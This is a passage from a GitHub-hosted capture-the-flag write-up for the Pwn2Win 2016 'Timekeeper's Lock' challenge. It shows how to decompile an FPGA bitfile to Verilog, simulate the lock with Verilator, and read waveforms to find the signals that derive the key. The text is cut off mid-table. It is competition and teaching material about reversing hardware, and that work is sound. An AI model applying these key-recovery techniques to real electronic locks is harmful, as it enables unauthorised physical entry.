<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"></path></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 00-1 1v14a1 1 0 001 1h13a1 1 0 001-1V1a1 1 0 00-1-1z"></path></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0013 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 000-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"></path></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 00-1 1v14a1 1 0 001 1h13a1 1 0 001-1V1a1 1 0 00-1-1z"></path></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0013 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 000-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"></path></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 00-1 1v14a1 1 0 001 1h13a1 1 0 001-1V1a1 1 0 00-1-1z"></path></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0013 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 000-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
Sign in Sign up </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container">
<template class="js-flash-template"> <div class="flash flash-full js-flash-template-container"> <div class="container-lg px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"></path></svg> </button> <div class="js-flash-template-message"></div>
</div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled> <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main >
<div class="pagehead repohead hx_repohead readability-menu bg-gray-light pb-0 pt-0 pt-lg-3">
<div class="d-flex container-lg mb-4 p-responsive d-none d-lg-flex">
<div class="flex-auto min-width-0 width-fit mr-3"> <h1 class="public d-flex flex-wrap flex-items-center break-word float-none "> <svg class="octicon octicon-repo-forked" viewBox="0 0 10 16" version="1.1" width="10" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 1a1.993 1.993 0 00-1 3.72V6L5 8 3 6V4.72A1.993 1.993 0 002 1a1.993 1.993 0 00-1 3.72V6.5l3 3v1.78A1.993 1.993 0 005 15a1.993 1.993 0 001-3.72V9.5l3-3V4.72A1.993 1.993 0 008 1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"></path></svg> <span> epicleet </span> <span>/</span> write-ups-2016 </h1>
<span> <span>forked from ctfs/write-ups-2016</span> </span>
</div>
<svg class="octicon octicon-eye v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"></path></svg> Watch 2
<svg height="16" class="octicon octicon-star v-align-text-bottom" vertical_align="text_bottom" viewBox="0 0 14 16" version="1.1" width="14" aria-hidden="true"><path fill-rule="evenodd" d="M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6 3.26L2.67 14 7 11.67 11.33 14l-.93-4.74L14 6z"></path></svg>
Star 19
<svg class="octicon octicon-repo-forked v-align-text-bottom" viewBox="0 0 10 16" version="1.1" width="10" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 1a1.993 1.993 0 00-1 3.72V6L5 8 3 6V4.72A1.993 1.993 0 002 1a1.993 1.993 0 00-1 3.72V6.5l3 3v1.78A1.993 1.993 0 005 15a1.993 1.993 0 001-3.72V9.5l3-3V4.72A1.993 1.993 0 008 1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"></path></svg> Fork 535
</div> <nav class="hx_reponav reponav js-repo-nav js-sidenav-container-pjax clearfix container-lg p-responsive d-none d-lg-block" itemscope itemtype="http://schema.org/BreadcrumbList" aria-label="Repository" data-pjax="#js-repo-pjax-container">
<span> <div class="d-inline"><svg class="octicon octicon-code" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M9.5 3L8 4.5 11.5 8 8 11.5 9.5 13 14 8 9.5 3zm-5 0L0 8l4.5 5L6 11.5 2.5 8 6 4.5 4.5 3z"></path></svg></div> <span>Code</span> <meta itemprop="position" content="1"> </span>
<span> <div class="d-inline"><svg class="octicon octicon-git-pull-request" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M11 11.28V5c-.03-.78-.34-1.47-.94-2.06C9.46 2.35 8.78 2.03 8 2H7V0L4 3l3 3V4h1c.27.02.48.11.69.31.21.2.3.42.31.69v6.28A1.993 1.993 0 0010 15a1.993 1.993 0 001-3.72zm-1 2.92c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zM4 3c0-1.11-.89-2-2-2a1.993 1.993 0 00-1 3.72v6.56A1.993 1.993 0 002 15a1.993 1.993 0 001-3.72V4.72c.59-.34 1-.98 1-1.72zm-.8 10c0 .66-.55 1.2-1.2 1.2-.65 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"></path></svg></div> <span>Pull requests</span> <span>0</span> <meta itemprop="position" content="4"> </span>
<span> <div class="d-inline"><svg class="octicon octicon-play" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M14 8A7 7 0 110 8a7 7 0 0114 0zm-8.223 3.482l4.599-3.066a.5.5 0 000-.832L5.777 4.518A.5.5 0 005 4.934v6.132a.5.5 0 00.777.416z"></path></svg></div> Actions </span>
<div class="d-inline"><svg class="octicon octicon-project" viewBox="0 0 15 16" version="1.1" width="15" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 00-1 1v14a1 1 0 001 1h13a1 1 0 001-1V1a1 1 0 00-1-1z"></path></svg></div> Projects <span>0</span>
<div class="d-inline"><svg class="octicon octicon-shield" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M0 2l7-2 7 2v6.02C14 12.69 8.69 16 7 16c-1.69 0-7-3.31-7-7.98V2zm1 .75L7 1l6 1.75v5.268C13 12.104 8.449 15 7 15c-1.449 0-6-2.896-6-6.982V2.75zm1 .75L7 2v12c-1.207 0-5-2.482-5-5.985V3.5z"></path></svg></div> Security <div class="d-inline"><svg class="octicon octicon-graph" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M16 14v1H0V0h1v14h15zM5 13H3V8h2v5zm4 0H7V3h2v10zm4 0h-2V6h2v7z"></path></svg></div> Insights
</nav>
<div class="reponav-wrapper reponav-small d-lg-none"> <nav class="reponav js-reponav text-center no-wrap" itemscope itemtype="http://schema.org/BreadcrumbList">
<span> <span>Code</span> <meta itemprop="position" content="1"> </span>
<span> <span>Pull requests</span> <span>0</span> <meta itemprop="position" content="4"> </span>
<span> <span>Projects</span> <span>0</span> <meta itemprop="position" content="5"> </span>
<span> <span>Actions</span> <meta itemprop="position" content="6"> </span>
<span>Security</span> <meta itemprop="position" content="8"> Pulse
</nav></div>
</div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="container-lg clearfix new-discussion-timeline p-responsive"> <div class="repository-content ">
Permalink
<div class="signup-prompt-bg rounded-1 js-signup-prompt" data-prompt="signup" hidden> <div class="signup-prompt p-4 text-center mb-4 rounded-1"> <div class="position-relative"> <button type="button" class="position-absolute top-0 right-0 btn-link link-gray js-signup-prompt-button" data-ga-click="(Logged out) Sign up prompt, clicked Dismiss, text:dismiss"> Dismiss </button> <h3 class="pt-2">Join GitHub today</h3> GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together. Sign up </div> </div> </div>
GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together.
<div class="d-flex flex-items-start flex-shrink-0 flex-column flex-md-row pb-3"> <span> <details class="details-reset details-overlay branch-select-menu " id="branch-select-menu"> <summary class="btn css-truncate btn-sm" data-hotkey="w" title="pwn2win-ctf-2016"> Branch: <span>pwn2win-ctf-20…</span> <span></span> </summary>
<details-menu class="SelectMenu SelectMenu--hasFilter" src="/epicleet/write-ups-2016/refs/pwn2win-ctf-2016/pwn2win-ctf-2016/reverse/timekeeperslock-600/README.md?source_action=show&source_controller=blob" preload> <div class="SelectMenu-modal"> <include-fragment class="SelectMenu-loading" aria-label="Menu is loading"> <svg class="octicon octicon-octoface anim-pulse" height="32" viewBox="0 0 16 16" version="1.1" width="32" aria-hidden="true"><path fill-rule="evenodd" d="M14.7 5.34c.13-.32.55-1.59-.13-3.31 0 0-1.05-.33-3.44 1.3-1-.28-2.07-.32-3.13-.32s-2.13.04-3.13.32c-2.39-1.64-3.44-1.3-3.44-1.3-.68 1.72-.26 2.99-.13 3.31C.49 6.21 0 7.33 0 8.69 0 13.84 3.33 15 7.98 15S16 13.84 16 8.69c0-1.36-.49-2.48-1.3-3.35zM8 14.02c-3.3 0-5.98-.15-5.98-3.35 0-.76.38-1.48 1.02-2.07 1.07-.98 2.9-.46 4.96-.46 2.07 0 3.88-.52 4.96.46.65.59 1.02 1.3 1.02 2.07 0 3.19-2.68 3.35-5.98 3.35zM5.49 9.01c-.66 0-1.2.8-1.2 1.78s.54 1.79 1.2 1.79c.66 0 1.2-.8 1.2-1.79s-.54-1.78-1.2-1.78zm5.02 0c-.66 0-1.2.79-1.2 1.78s.54 1.79 1.2 1.79c.66 0 1.2-.8 1.2-1.79s-.53-1.78-1.2-1.78z"></path></svg> </include-fragment> </div> </details-menu></details>
<div class="BtnGroup flex-shrink-0 d-md-none"> Find file <clipboard-copy value="pwn2win-ctf-2016/reverse/timekeeperslock-600/README.md" class="btn btn-sm BtnGroup-item"> Copy path </clipboard-copy> </div> </span> <h2 id="blob-path" class="breadcrumb flex-auto min-width-0 text-normal flex-md-self-center ml-md-2 mr-md-3 my-2 my-md-0"> <span><span><span>write-ups-2016</span></span></span><span>/</span><span><span>pwn2win-ctf-2016</span></span><span>/</span><span><span>reverse</span></span><span>/</span><span><span>timekeeperslock-600</span></span><span>/</span>README.md </h2>
<div class="BtnGroup flex-shrink-0 d-none d-md-inline-block"> Find file <clipboard-copy value="pwn2win-ctf-2016/reverse/timekeeperslock-600/README.md" class="btn btn-sm BtnGroup-item"> Copy path </clipboard-copy> </div> </div>
<include-fragment src="/epicleet/write-ups-2016/contributors/pwn2win-ctf-2016/pwn2win-ctf-2016/reverse/timekeeperslock-600/README.md" class="Box Box--condensed commit-loader"> <div class="Box-body bg-blue-light f6"> Fetching contributors… </div>
<div class="Box-body d-flex flex-items-center" > <span>Cannot retrieve contributors at this time</span> </div></include-fragment>
<div class="Box mt-3 position-relative "> <div class="Box-header py-2 d-flex flex-column flex-shrink-0 flex-md-row flex-md-items-center"> <div class="text-mono f6 flex-auto pr-3 flex-order-2 flex-md-order-1 mt-2 mt-md-0">
327 lines (211 sloc) <span></span> 16.6 KB </div>
<div class="d-flex py-1 py-md-0 flex-auto flex-order-1 flex-md-order-2 flex-sm-grow-0 flex-justify-between">
<div class="BtnGroup"> Raw Blame History </div>
<div> <svg class="octicon octicon-device-desktop" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M15 2H1c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1h5.34c-.25.61-.86 1.39-2.34 2h8c-1.48-.61-2.09-1.39-2.34-2H15c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1zm0 9H1V3h14v8z"></path></svg>
<button type="button" class="btn-octicon disabled tooltipped tooltipped-nw" aria-label="You must be signed in to make or propose changes"> <svg class="octicon octicon-pencil" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M0 12v3h3l8-8-3-3-8 8zm3 2H1v-2h1v1h1v1zm10.3-9.3L12 6 9 3l1.3-1.3a.996.996 0 011.41 0l1.59 1.59c.39.39.39 1.02 0 1.41z"></path></svg> </button> <button type="button" class="btn-octicon btn-octicon-danger disabled tooltipped tooltipped-nw" aria-label="You must be signed in to make or propose changes"> <svg class="octicon octicon-trashcan" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M11 2H9c0-.55-.45-1-1-1H5c-.55 0-1 .45-1 1H2c-.55 0-1 .45-1 1v1c0 .55.45 1 1 1v9c0 .55.45 1 1 1h7c.55 0 1-.45 1-1V5c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1zm-1 12H3V5h1v8h1V5h1v8h1V5h1v8h1V5h1v9zm1-10H2V3h9v1z"></path></svg> </button> </div> </div></div>
<div id="readme" class="Box-body readme blob js-code-block-container px-5"> <article class="markdown-body entry-content" itemprop="text"><h1><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>Pwn2Win CTF 2016: Timekeeper's Lock</h1>Category: ReversePoints: 600Solves: 0Description:<blockquote>In order to protect their maximum security facilities, the Club employsan electronic security lock activated by a 256-bit key which changes everyminute. When a Club member is authorized to enter some of these facilities,he receives this key in hexadecimal format, the same format which is used toenter the key in the electronic lock’s keyboard. The last year (in 2015),Project SKY intercepted a key valid for April 1st at 11:00 UTC:01cd9de119e1231e29b0972a618da6c79fc1f3bd96cee86c93a8068bdc5e4c59,however we got access to this key only after it was already expired.It seems that these keys are the same for all facilities, independent fromtheir geographical location, that is, they vary only with time. This year,our truck driver Alisson, undercover in the Club’s fleet, was able tointercept the shipment of one of these locks to a warehouse which iscurrently under construction. Quickly, he drafted a block diagram ofthe lock’s circuit and generated a dump of the flash memory (N25Q032A),both contained in the file which we are providing to you. A few minutesafter sending this information through 3G using his Samsung Note Edge™smartphone, Alisson suffered a tragic transit accident, which meansthe Club has probably discovered our plans, so that we have only 48h beforethey change all of their electronic lock scheme. Our teams are ready todeploy next to 3 facilities of critical importance to the Club. They onlyneed that you send a key valid for the current minute to the addresshttps://door.pwn2win.party/KEY.</blockquote><h2><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>Write-up</h2><h3><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>Preparing the environment</h3>Some tools and libraries must be installed in order to run this write-up.Download and build IceStorm.sudo apt-get install libftdi-devmkdir -p ~/git; cd ~/gitgit clone https://github.com/cliffordwolf/icestorm.gitcd icestormgit checkout -b ctf eb85e29ff0ca7b9031cf21db3dccaa70b7ef567amake CXX=g++Set the ICESTORM environment variable to the IceStorm repository path.export ICESTORM=$HOME/git/icestormInstall Verilator.sudo apt-get install verilatorInstall Python 3.sudo apt-get install python3<h3><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>Reversing the FPGA bitfile</h3>We have chosen the iCE40HX8K-CT256 chip to implement this challenge because mature and modern reverse engineering tools are available for it.The iceunpack and icebox_vlog.py tools from IceStorm are able to transform the FPGA bitfile into an equivalent circuit in Verilog RTL.This write-up provides a Makefile target to run these tools. Just type:make chip.v<h3><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>Simulating the circuit given an input</h3>First, the competitor was expected to set up a working simulation of the FPGA circuit. We provided the sample key mainly to allow such a simulation to be more easily validated, as our circuit has no output pins for flagging errors such as malformed UART signals or NMEA sentences.The circuit could be simulated with any Verilog simulator, in particular free-software ones, such as iverilog and verilator. However, iverilog is very slow for simulating such a large and complex (decomposed) circuit. A single simulation takes near 2 minutes to run on iverilog in modern hardware. On the other hand, verilator is pretty fast, and runs the same simulation in 3 seconds. Another advantage of verilator is that it allows every internal digital signal to be easily controlled by C++ code during the simulation.In order to correctly control the input pins, the competitor must be able to compute the duration, in number of cycles, of each bit sent over UART (29.4912×10⁶ / 115200 = 256) and to correctly generate the 8N1 framing.In this write-up, we simulate the circuit with verilator. A Makefile target is available for building the simulator executables. Compile the sim_input simulator by typing:make sim_inputPass the Keypad and GPS UART inputs as arguments to sim_input. It can also optionally receive a third argument to save a waveform dump to a file. At the end of simulation, it outputs lock: 1 if the door is open, or lock: 0 if it is closed.$ ./sim_input 01cd9de119e1231e29b0972a618da6c79fc1f3bd96cee86c93a8068bdc5e4c59 \ '$GPRMC,110000.000,A,1547.9730,S,4751.8510,W,0.02,31.66,010415,,,A*61' \ dump.vcdlock: 1The waveform dump can be opened with GTKWave.gtkwave dump.vcd<h3><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>Observing the waveforms</h3>By observing the waveform dump above, several interesting remarks can be made:Signal n2 pulses 10 times. If we observe the pulse position relative to the NMEA UART signal (pin_E6), we discover that the first 4 pulses occur at the stop bit of each character pertaining to the current time (hour and minute) in a $GPRMC sentence. Similarly, the last 6 pulses occur at the stop bit of each character belonging to the current date (day, month and year).Signal n6 pulses 64 times. Each pulse occurs at the stop bit of a hexadecimal digit character received from the keypad (pin_G13).Most signals (n8–n14, n17, n19–n23, n26, and several others if we scroll down) only present activity (toggling) during a short period of time after both UARTs have finished receiving their data. Therefore these signals are probably related to key calculation.By zooming around the time when the door opens (pin_B4 becomes high), we can make additional remarks:Signal n4 only becomes high for 4 cycles, just before the door opens.Even more evidence shows that n8–n14 and others are related to key calculation, as their toggle rate is quite high (near clock speed), and all activity ceases just before the circuit decides to open the door.<h3><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>Gathering information about registers</h3>By typing:make reginfo.hOur Makefile runs a very simple parser which gathers a list of all the registers present in the chip.v file and their enable signals. The script also prints the table below.<table><thead><tr><th>Enable signal</th><th>Number of 